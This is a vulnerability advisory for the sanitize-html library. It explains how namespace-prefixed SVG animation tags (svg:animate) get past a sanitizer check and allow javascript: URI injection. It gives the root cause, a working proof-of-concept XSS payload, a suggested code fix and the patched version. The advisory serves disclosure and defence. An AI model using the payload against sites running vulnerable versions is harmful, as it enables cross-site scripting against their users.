ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)

Overview

Summary

sanitize-html 2.17.7 introduced animatesUrlAttribute() to block SVG animation elements (animate, animateColor, animateMotion, animateTransform, set) when their attributeName targets a URL sink like href. However, this check is bypassed when the animation element uses a namespace prefix (e.g., svg:animate instead of animate).

Root Cause

The animatesUrlAttribute function (index.js, line ~832) checks svgAnimationTags.indexOf(name.toLowerCase()), where svgAnimationTags contains bare local names: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 passes namespace-prefixed tag names verbatim, so svg:animate does not match animate in the array, causing the function to return false and skip the SMIL XSS protection.

Ironically, the function already handles namespace prefixes correctly for the attributeName target value (line ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — but this same stripping was not applied to the tag name itself.

Proof of Concept

const sanitizeHtml = require("sanitize-html");

const config = {
  allowedTags: false,
  allowedAttributes: false,
  allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
  `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
  `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS

All 5 SMIL animation elements are bypassable with any namespace prefix (svg:, xlink:, xml:, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.

Impact

Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses allowedTags: false (common in rich-text editors that want to preserve SVG), an attacker can inject <svg:animate attributeName="href" values="#safe;javascript:..." .../> to override the href attribute of a parent <a> element after the page loads, causing the link to execute JavaScript when clicked.

Suggested Fix

Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:

// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {

Affected Versions

sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Affected packages

• sanitize-html >= 2.17.7, < 2.18.0

Remediation

Upgrade to a patched release:

• sanitize-html 2.18.0